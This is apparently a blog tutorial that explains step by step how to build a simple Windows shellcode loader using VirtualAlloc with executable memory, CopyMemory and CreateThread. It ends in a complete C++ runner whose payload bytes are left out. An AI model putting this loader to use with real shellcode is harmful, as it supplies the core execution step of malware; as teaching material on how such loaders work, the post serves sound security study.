Reprogrammed

Let's Make Malware

Let’s make malware

Preamble

To put things simply, Windows malware generally follows the same format. First, you create a space to hold your shellcode in the process’s memory. This space is called a memory buffer. This buffer can be inside the local process or it can be inside a remote process.

Then, you move the shellcode into that buffer.

Finally, you execute it.

Implementation

VirtualAlloc

So, how do we actually do that? We use the Win32 API. We’ll need just three functions for this example. First, VirtualAlloc for creating our memory buffer. It looks like this:

LPVOID VirtualAlloc(
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);

The first parameter, as defined by MSDN, is “The starting address of the region to allocate”. We can set this to NULL to let the system determine where to allocate the region.

The second parameter, simply put, is the size of the buffer in bytes.

The next parameter is the type of memory allocation. There are a few different ones we could choose from, but for this example we want the MEM_COMMIT (0x000010000) type.

Finally, the last parameter, flProtect, is the memory protection. Again, there are a few different ones we could choose from, but we want PAGE_EXECUTE_READWRITE.

If we did everything correctly, VirtualAlloc will return the base address of our memory buffer. Simply put, the base address is our starting point.

CopyMemory

We’ll use CopyMemory for moving our shellcode into the buffer. It looks like this:

void CopyMemory(
  _In_       PVOID  Destination,
  _In_ const VOID   *Source,
  _In_       SIZE_T Length
);

It should be self-explanatory. The first parameter is the location (starting memory address) we want to copy to. This is our buffer.

The second parameter is the location (starting memory address) of the thing we’re copying. This is our payload.

Finally, it needs to know how much to copy into our buffer. We want to copy all our shellcode.

CreateThread

Lastly, we’ll use CreateThread for executing the shellcode inside the buffer. It looks like this:

HANDLE CreateThread(
  [in, optional]  LPSECURITY_ATTRIBUTES   lpThreadAttributes,
  [in]            SIZE_T                  dwStackSize,
  [in]            LPTHREAD_START_ROUTINE  lpStartAddress,
  [in, optional]  __drv_aliasesMem LPVOID lpParameter,
  [in]            DWORD                   dwCreationFlags,
  [out, optional] LPDWORD                 lpThreadId
);

The first parameter isn’t necessary, so we set it to NULL.

The second parameter also isn’t necessary. We set it to zero.

The third parameter is the starting address of what we want to execute. This is our buffer variable.

We are not passing any variables to our thread, so we can set the fourth parameter to zero.

The fifth parameter is for any flags we want to set. We could use this to create the thread in a suspended state, however we will use 0 here. The 0 flag just runs the thread immediately after its created.

Finally, the sixth parameter is not necessary. We will set it to NULL.

All Together Now

Here’s how that looks in C++.

#include “windows.h”
int main() {
  //msfvenom Calc shellcode
  unsigned char payload[] = { dont trust random shellcode blobs you find on the Internet  };
  LPVOID buffer = VirtualAlloc(0, sizeof payload, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  CopyMemory(buffer, payload, sizeof payload);
  HANDLE tHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE) buffer, 0, 0, NULL);
  WaitForSingleObject(tHandle, INFINITE);
  return 0;
} 

That final API call (WaitForSingleObject) is simply waiting for our newly created thread to finish executing before continuing. The first parameter is the object we are waiting on. In this case, it’s the tHandle variable. The second parameter is how long we want to wait before moving on. We put the value INFINITE so it will wait indefinitely.

So, I lied. There are four API calls we need to make. If we don’t include that final call, our process ends before the thread has finished executed, killing the thread with it.

After compiling and running, we should see calc.exe pop up. Success!

Resources

MSDN: VirtualAlloc

MSDN: CopyMemory

MSDN: CreateThread

MSDN: WaitForSingleObject

MSDN: Data Types

WikiBooks: Data Types